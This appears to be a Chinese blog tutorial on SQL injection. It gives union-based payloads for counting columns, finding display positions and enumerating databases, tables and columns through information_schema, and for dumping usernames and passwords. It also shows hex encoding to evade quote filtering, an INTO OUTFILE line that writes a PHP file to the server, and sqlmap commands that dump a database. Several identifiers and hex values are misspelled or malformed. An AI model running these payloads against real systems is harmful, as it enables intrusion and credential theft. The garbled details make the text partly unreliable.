世樹 2020-07-17
SQL注入(Sql Injection )
是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。
根据SQL数据类型分类
根据注入的语法分类
常用函数
。。。。。
前提
前提
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
SCHEMATA表 字段:SCHEMA_NAME TABLES表 字段:TABLE_SCHEMA, TABLE_NAME COLUMNS表 字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
利用前提
页面上有显示位
优点:
方便、快捷、易于利用
缺点:
需要显示位
步骤
判断列数
order by 10 order by 20 order by 15 …
判断显示位
url?id=-1 union select 1,2,3,4,5
获取当数据库名称和当前连接数据库的用户
url?id=-1 union select 1,2,databaes(),4,5 url?id=-1 union select 1,2,user(),4,5
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’ limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin network
SQL注入就是通过把SQL(Structured Query Language,结构化查询语言)命令插入到提交的Web表单或输入域名或页面请求的查询字符串中,达到欺骗服务器执行恶意的SQL命令的目的。
对于一个存在数据库安全漏洞的网站,SQL注入攻击一般通过构建特殊的输入作为参数传入Web应用程序,使得构造的SQL语句能够在服务器端执行,进而得到攻击者所要的结果,而不是按照设计者意图去执行SQL语句。系统受到SQL注入攻击的主要原因是程序没有细致地过滤用户输入的数据,直接将提交的参数拼接到SQL语句中解析,导致特殊构造的SQL语句可以在服务器端被执行。
sqlmap是一个由Python语言开发的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下几种:
输入“python sqlmap.py --version”检查sqlmap是否安装成功 输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明 输入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数用于指定注入点的URL。 输入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”用于列举数据库。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。 输入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。 输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据。